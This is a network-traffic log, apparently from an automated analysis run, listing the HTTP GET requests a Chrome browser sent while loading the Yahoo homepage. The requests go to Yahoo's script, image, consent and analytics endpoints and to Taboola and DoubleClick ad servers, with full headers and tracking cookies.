A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /version/6.4.1/cmp.js HTTP/1.1Host: consent.cmp.oath.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-core-1.65.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oa/consent.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/PfuFkSI.w9qemWReAv.2kA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/a0026210-7f1b-11ef-92ab-b839323afb9a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__rapid-worker-1.2.js HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/tQ8F_aqdd1MTiJBsUnvEUw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/35a87f10-7eff-11ef-b37e-1db661b209fc.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/performance?ybar-init_0=0.40000000002328306&ybar-mod-sidenav_0=2&ybar-mod-logo_0=0.20000000001164153&ybar-mod-searchbox_0=0.5&ybar-mod-assistjs_0=3.1000000000058208&ybar-mod-adaptivenav_0=0.1999999999825377&ybar-account-init_0=0.7999999999883585&ybar-mail-init_0=1.3999999999941792&ybar-mod-navigation_0=15.10000000000582&ybar-mod-notification_0=0.39999999999417923&src=ybar&_rdn=857348&apptype=default&rid=1pa4ckpjflnfm&bucket=900%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/EP05qSSZkDRwnsJtEV.Bmw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/84608c70-7f17-11ef-bfc7-ce05e04ea18c.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/scp/js/fpDesktop.46ec7cd52ee9f5c1236b0dea5072690a.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cx/hp-viewer/desktop_1.11.185.modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/performance?ybar-init_0=0.40000000002328306&ybar-mod-sidenav_0=2&ybar-mod-logo_0=0.20000000001164153&ybar-mod-searchbox_0=0.5&ybar-mod-assistjs_0=3.1000000000058208&ybar-mod-adaptivenav_0=0.1999999999825377&ybar-account-init_0=0.7999999999883585&ybar-mail-init_0=1.3999999999941792&ybar-mod-navigation_0=15.10000000000582&ybar-mod-notification_0=0.39999999999417923&src=ybar&_rdn=857363&apptype=default&rid=1pa4ckpjflnfm&bucket=900%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/D1cC99bQYm9QVoUbD_Rpnw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/usa_today_tech_153/03d01cbdd7ccafd738da286245b9f503.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/analytics-3.54.3.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /uc/sf/0.1.434/js/safe.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-core-1.65.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__rapid-worker-1.2.js HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/benji/benji-2.1.123.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-caas-1.36.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-toggle-1.15.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/icon-flame-light-202303010352.gif HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oa/consent.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/scp/js/fpDesktop.46ec7cd52ee9f5c1236b0dea5072690a.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libtrc/yahooweb-network/loader.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-video-3.2.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-text-1.2.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-bind-1.1.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cx/hp-viewer/desktop_1.11.185.modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-image-1.4.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-rapid-1.10.9-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-beacon-1.3.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/benji/benji-2.1.123.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=2b2a262c-878f-3f65-9ba6-39ad37b780eb,b919e796-b03c-39fc-87e7-500abd2430fc,dce5eeb8-da4f-3016-b6b1-671a1b05f180,cc162679-b996-3b22-bf08-a33e637cd3e7,e83ce260-cc8d-4911-9251-00d71cd9beb8,877f8ab1-324b-3028-8015-3030372e4744,12f9c9af-c6c2-3c17-b79d-5f82604d80b2,9df6c4a7-8f43-3b8c-bc27-cbec371808d8,d6bedef8-7f7f-361b-a1ed-95df489e3d8b,17667347-cb18-3690-87e0-525837a669bf&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=900,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableRRAtTop,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1pa4ckpjflnfm HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; 